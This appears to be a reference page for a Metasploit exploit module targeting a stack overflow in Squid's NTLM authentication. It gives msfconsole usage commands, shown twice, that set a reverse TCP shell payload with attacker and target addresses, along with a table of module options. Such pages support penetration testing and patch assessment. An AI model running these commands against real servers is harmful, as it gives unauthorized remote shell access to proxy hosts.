Squid NTLM Authenticate Overflow
This is an exploit for Squid\'s NTLM authenticate overflow (libntlmssp.c). Due to improper bounds checking in ntlm_check_auth, it is possible to overflow the 'pass' variable on the stack with user controlled data of a user defined length. Props to iDEFENSE for the advisory.
Exploit Rank
- Great
Exploit Authors
- skape < mmiller [at] hick.org >
Vulnerability References
Exploit Targets
- 0 - Linux Bruteforce (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
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msf > use exploit/linux/proxy/squid_ntlm_authenticate
msf exploit(squid_ntlm_authenticate) > show payloads
msf exploit(squid_ntlm_authenticate) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(squid_ntlm_authenticate) > set LHOST [MY IP ADDRESS]
msf exploit(squid_ntlm_authenticate) > set RHOST [TARGET IP]
msf exploit(squid_ntlm_authenticate) > set RPORT [TARGET PORT]
msf exploit(squid_ntlm_authenticate) > exploit
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msf > use exploit/linux/proxy/squid_ntlm_authenticate
msf exploit(squid_ntlm_authenticate) > show payloads
msf exploit(squid_ntlm_authenticate) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(squid_ntlm_authenticate) > set LHOST [MY IP ADDRESS]
msf exploit(squid_ntlm_authenticate) > set RHOST [TARGET IP]
msf exploit(squid_ntlm_authenticate) > set RPORT [TARGET PORT]
msf exploit(squid_ntlm_authenticate) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port |
| BruteStep | Step size between brute force attempts |
| BruteWait | Delay between brute force attempts |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |